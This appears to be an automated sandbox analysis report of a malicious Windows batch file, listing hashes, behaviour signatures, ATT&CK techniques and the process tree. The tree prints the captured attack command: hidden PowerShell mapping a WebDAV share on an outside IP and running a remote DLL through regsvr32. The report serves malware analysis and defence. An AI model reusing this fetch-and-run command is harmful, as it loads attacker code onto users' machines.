20834d287a254ff9f87394a71b8205d0875b2f6cc33390c10f4ab723f4e86167

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 22:14

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General

Target

100654964103132729.bat
Size

16KB
MD5

e77d175a19b553635a918185cd0acecd
SHA1

cde82ac0b289f56da671a67a950feadbcc729656
SHA256

20834d287a254ff9f87394a71b8205d0875b2f6cc33390c10f4ab723f4e86167
SHA512

9d0710204b7e37d4e7607a9799a54e8e36c84a54e60cd5f3949f6c44f09c253d047621150f3cead18f40bb319681cc78c73abf8b9d878a848afe62fe7e438710
SSDEEP

384:nlmy6Lm5fo+LkGEtLuuL7guvEUzJBVNl47HRAP7:noDL+f3LlEtbbvEU1BV747xo7

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2552	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2952	wordpad.exe
2952	wordpad.exe
2952	wordpad.exe
2952	wordpad.exe
2952	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2952	2640	cmd.exe	31
PID 2640 wrote to memory of 2952	2640	cmd.exe	31
PID 2640 wrote to memory of 2952	2640	cmd.exe	31
PID 2640 wrote to memory of 2552	2640	cmd.exe	32
PID 2640 wrote to memory of 2552	2640	cmd.exe	32
PID 2640 wrote to memory of 2552	2640	cmd.exe	32
PID 2552 wrote to memory of 2592	2552	powershell.exe	34
PID 2552 wrote to memory of 2592	2552	powershell.exe	34
PID 2552 wrote to memory of 2592	2552	powershell.exe	34
PID 2552 wrote to memory of 2548	2552	powershell.exe	35
PID 2552 wrote to memory of 2548	2552	powershell.exe	35
PID 2552 wrote to memory of 2548	2552	powershell.exe	35
PID 2552 wrote to memory of 2548	2552	powershell.exe	35
PID 2552 wrote to memory of 2548	2552	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\100654964103132729.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2592
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
    3⤵
    PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2552-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2552-24-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2640-16-0x0000000002210000-0x0000000002310000-memory.dmp

Filesize
1024KB

Download